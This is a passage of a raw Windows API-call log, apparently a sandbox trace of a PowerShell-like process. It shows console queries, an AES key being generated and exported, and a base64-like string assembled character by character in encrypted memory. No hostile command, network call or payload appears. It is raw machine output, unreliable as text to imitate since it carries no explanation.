lpCs=0x5a2e43c) returned 0 [0234.909] GetConsoleOutputCP () returned 0x1b5 [0234.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.909] GetConsoleOutputCP () returned 0x1b5 [0234.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.909] GetConsoleOutputCP () returned 0x1b5 [0234.910] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.910] GetConsoleOutputCP () returned 0x1b5 [0234.910] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.910] GetConsoleOutputCP () returned 0x1b5 [0234.910] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.910] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0234.910] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.911] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255dd94*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x255dd94*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0234.912] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.912] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0234.913] EtwEventActivityIdControl () returned 0x0 [0234.913] EtwEventActivityIdControl () returned 0x0 [0234.913] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.913] EtwEventActivityIdControl () returned 0x0 [0234.913] EtwEventActivityIdControl () returned 0x0 [0234.913] EtwEventActivityIdControl () returned 0x0 [0234.946] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.946] EtwEventActivityIdControl () returned 0x0 [0234.946] EtwEventActivityIdControl () returned 0x0 [0234.946] EtwEventActivityIdControl () returned 0x0 [0234.948] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d298) returned 1 [0234.949] CryptGenKey (in: hProv=0x5c4d298, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69440) returned 1 [0234.950] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.950] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.950] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2361af0, pdwDataLen=0x5a2e8c4 | out: pbData=0x2361af0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.950] EtwEventActivityIdControl () returned 0x0 [0234.950] EtwEventActivityIdControl () returned 0x0 [0234.950] EtwEventActivityIdControl () returned 0x0 [0234.968] SysStringLen (param_1="") returned 0x8 [0234.968] SysStringLen (param_1="W") returned 0x8 [0234.968] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.969] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0234.969] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0234.969] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.969] SysStringLen (param_1="W9") returned 0x8 [0234.969] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.969] SysStringLen (param_1="즖菒ꃄ孃뮺徒䖐⏎") returned 0x8 [0234.969] SysStringLen (param_1="즖菒ꃄ孃뮺徒䖐⏎") returned 0x8 [0234.969] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.969] SysStringLen (param_1="W9B") returned 0x8 [0234.969] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.969] SysStringLen (param_1="׃㪨핣嚅葤웞") returned 0x8 [0234.969] SysStringLen (param_1="׃㪨핣嚅葤웞") returned 0x8 [0234.969] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="W9BA") returned 0x8 [0234.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="\쟞纩힔쯲킋ﲺ⊈) returned 0x8 [0234.970] SysStringLen (param_1="\쟞纩힔쯲킋ﲺ⊈) returned 0x8 [0234.970] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="W9BAq") returned 0x8 [0234.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="긄ⷶ奕蔩쩤䔛辟") returned 0x8 [0234.970] SysStringLen (param_1="긄ⷶ奕蔩쩤䔛辟") returned 0x8 [0234.970] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="W9BAqU") returned 0x8 [0234.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.970] SysStringLen (param_1="ꐩ㦚숛⁁嗝ᵠ䑯쏪") returned 0x8 [0234.970] SysStringLen (param_1="ꐩ㦚숛⁁嗝ᵠ䑯쏪") returned 0x8 [0234.970] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.971] SysStringLen (param_1="W9BAqU0") returned 0x8 [0234.971] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.971] SysStringLen (param_1="䓩㏝Ⰽ飆凗끛㉞\⋙) returned 0x8 [0234.971] SysStringLen (param_1="䓩㏝Ⰽ飆凗끛㉞\⋙) returned 0x8 [0234.971] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.971] SysStringLen (param_1="W9BAqU0+") returned 0x8 [0234.971] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.971] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰") returned 0x8 [0234.971] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰") returned 0x8 [0234.971] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰") returned 0x8 [0234.972] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰") returned 0x10 [0234.972] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.972] SysStringLen (param_1="W9BAqU0+9ᘺ颒偮烷こ慝ᤋ") returned 0x10 [0234.972] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.972] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰䐮☈䏁罐\뇛쥌讵⊒) returned 0x10 [0234.972] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰䐮☈䏁罐\뇛쥌讵⊒) returned 0x10 [0234.972] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.972] SysStringLen (param_1="W9BAqU0+9B颒偮烷こ慝ᤋ") returned 0x10 [0234.972] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.972] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰욅㡈跌⮱̃᠓ᜐ") returned 0x10 [0234.972] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰욅㡈跌⮱̃᠓ᜐ") returned 0x10 [0234.972] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="W9BAqU0+9B4偮烷こ慝ᤋ") returned 0x10 [0234.973] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰観訆ဌ娡筫᫰") returned 0x10 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰観訆ဌ娡筫᫰") returned 0x10 [0234.973] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="W9BAqU0+9B40烷こ慝ᤋ") returned 0x10 [0234.973] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰鰘䚥סּ喿╬时\≇) returned 0x10 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰鰘䚥סּ喿╬时\≇) returned 0x10 [0234.973] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="W9BAqU0+9B406こ慝ᤋ") returned 0x10 [0234.973] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰Ⲱ焦兙쬛⪙삌卙") returned 0x10 [0234.973] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰Ⲱ焦兙쬛⪙삌卙") returned 0x10 [0234.973] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="W9BAqU0+9B406C慝ᤋ") returned 0x10 [0234.974] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰պ⌕쨊뺶\燛ﰧ뺗∀) returned 0x10 [0234.974] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰պ⌕쨊뺶\燛ﰧ뺗∀) returned 0x10 [0234.974] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="W9BAqU0+9B406CFᤋ") returned 0x10 [0234.974] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰쑈목꺹贬ᔍ〽䊪") returned 0x10 [0234.974] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰쑈목꺹贬ᔍ〽䊪") returned 0x10 [0234.974] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="W9BAqU0+9B406CFm") returned 0x10 [0234.974] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.974] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽") returned 0x10 [0234.975] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽") returned 0x10 [0234.975] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽") returned 0x10 [0234.975] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽") returned 0x18 [0234.975] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.975] SysStringLen (param_1="W9BAqU0+9B406CFm4횵憳寀䗪魊⿎㭚") returned 0x18 [0234.975] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.975] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽뜄筸늫Ⲅ쫒套⼂퓳") returned 0x18 [0234.975] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽뜄筸늫Ⲅ쫒套⼂퓳") returned 0x18 [0234.975] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.975] SysStringLen (param_1="W9BAqU0+9B406CFm4M憳寀䗪魊⿎㭚") returned 0x18 [0234.975] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽鷵\럚鞷짥攣忁퀚⊙) returned 0x18 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽鷵\럚鞷짥攣忁퀚⊙) returned 0x18 [0234.976] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="W9BAqU0+9B406CFm4MF寀䗪魊⿎㭚") returned 0x18 [0234.976] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽驧᳹弥ᝦឩ堑잜㚷") returned 0x18 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽驧᳹弥ᝦឩ堑잜㚷") returned 0x18 [0234.976] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/䗪魊⿎㭚") returned 0x18 [0234.976] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽緟뾢਄躜묋㇘窘") returned 0x18 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽緟뾢਄躜묋㇘窘") returned 0x18 [0234.976] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s魊⿎㭚") returned 0x18 [0234.976] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.976] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽肂傭⦅䱊슬ن檔") returned 0x18 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽肂傭⦅䱊슬ن檔") returned 0x18 [0234.977] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3⿎㭚") returned 0x18 [0234.977] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽射䝚Ӱ뺏縿㼤") returned 0x18 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽射䝚Ӱ뺏縿㼤") returned 0x18 [0234.977] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3Q㭚") returned 0x18 [0234.977] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽柁瑅﵈香ᴻ㣲蘍") returned 0x18 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽柁瑅﵈香ᴻ㣲蘍") returned 0x18 [0234.977] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3Qc") returned 0x18 [0234.977] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.977] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘") returned 0x18 [0234.978] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘") returned 0x18 [0234.978] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘") returned 0x18 [0234.978] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘") returned 0x20 [0234.978] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.978] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH舨ၭ䓸푨蹡蟣") returned 0x20 [0234.978] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.978] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘귘猶ޱ\ꇘ꺖ﺇ末⋒) returned 0x20 [0234.978] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘귘猶ޱ\ꇘ꺖ﺇ末⋒) returned 0x20 [0234.978] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.978] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+ၭ䓸푨蹡蟣") returned 0x20 [0234.978] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘豽ל๥귪鶰芬耪Ŝ") returned 0x20 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘豽ל๥귪鶰芬耪Ŝ") returned 0x20 [0234.979] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+r䓸푨蹡蟣") returned 0x20 [0234.979] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘龰禜啷ᚹ\針뀜≳) returned 0x20 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘龰禜啷ᚹ\針뀜≳) returned 0x20 [0234.979] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rv푨蹡蟣") returned 0x20 [0234.979] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘섴ꋯ즨℆擔玜") returned 0x20 [0234.979] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘섴ꋯ즨℆擔玜") returned 0x20 [0234.979] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.979] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvn푨蹡蟣") returned 0x20 [0234.980] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘朼얾\揝⯝㼦拲磇≍) returned 0x20 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘朼얾\揝⯝㼦拲磇≍) returned 0x20 [0234.980] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.980] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnv蹡蟣") returned 0x20 [0234.980] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘쐤仗駖㡊薳♉頛") returned 0x20 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘쐤仗駖㡊薳♉頛") returned 0x20 [0234.980] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.980] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvw蟣") returned 0x20 [0234.980] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘꤬훀砘괩둢朄룑") returned 0x20 [0234.980] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘꤬훀砘괩둢朄룑") returned 0x20 [0234.980] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.981] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvwe") returned 0x20 [0234.981] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.981] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ") returned 0x20 [0234.981] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ") returned 0x20 [0234.981] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ") returned 0x20 [0234.981] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈϪ") returned 0x28 [0234.981] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.981] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQን셝㆜甼訔") returned 0x28 [0234.981] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.981] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈㅃប惽께ꐬ鲉ꉼ") returned 0x28 [0234.982] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈㅃប惽께ꐬ鲉ꉼ") returned 0x28 [0234.982] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.982] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQi셝㆜甼訔") returned 0x28 [0234.982] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.982] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ丑䚟絩걖ἠ㣟幫") returned 0x28 [0234.982] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ丑䚟絩걖ἠ㣟幫") returned 0x28 [0234.982] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.982] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiD셝㆜甼訔") returned 0x28 [0234.982] SystemFunction040 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.982] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ䝅킺ᕐ\ࣜ扛鱒硽⋷) returned 0x28 [0234.982] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ䝅킺ᕐ\ࣜ扛鱒硽⋷) returned 0x28 [0234.982] SystemFunction041 (in: Memory=0x5c9ad7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad7c) returned 0x0 [0234.982] SysStringLen (param_1="W9BAqU0+9B406CFm4MF/s3QcH+rvnvweQiDk㆜甼訔") returned 0x28 [0234.982] SystemFunction040 (in: Memory=0x5c9ad7c, 